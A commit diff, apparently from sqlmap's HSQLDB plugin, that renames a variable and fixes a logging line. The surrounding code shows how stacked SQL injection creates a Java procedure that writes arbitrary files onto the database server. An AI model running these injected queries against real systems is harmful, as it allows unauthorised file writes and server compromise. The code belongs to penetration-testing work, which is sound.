@@ -21,13 +21,13 @@ def readFile(self, remoteFile):
21
21
22
22
@stackedmethod
23
23
def stackedWriteFile (self , localFile , remoteFile , fileType = None , forceCheck = False ):
24
- funcName = randomStr ()
24
+ func_name = randomStr ()
25
25
max_bytes = 1024 * 1024
26
26
27
- debugMsg = "creating JLP procedure '%s'" % funcName
27
+ debugMsg = "creating JLP procedure '%s'" % func_name
28
28
logger .debug (debugMsg )
29
29
30
- addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName , max_bytes )
30
+ addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name , max_bytes )
31
31
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
32
32
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
33
33
inject .goStacked (addFuncQuery )
@@ -47,11 +47,12 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals
47
47
logger .debug (debugMsg )
48
48
49
49
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
50
- invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName , remoteFile , fcEncodedStr , max_bytes )
50
+ invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name , remoteFile , fcEncodedStr , max_bytes )
51
51
inject .goStacked (invokeQuery )
52
52
53
- logger .debug ("cleaning up" % funcName )
54
- delQuery = "DELETE PROCEDURE %s" % funcName
53
+ logger .debug ("cleaning up the database management system" )
54
+
55
+ delQuery = "DELETE PROCEDURE %s" % func_name
55
56
inject .goStacked (delQuery )
56
57
57
58
message = "the local file '%s' has been written on the back-end DBMS" % localFile
0 commit comments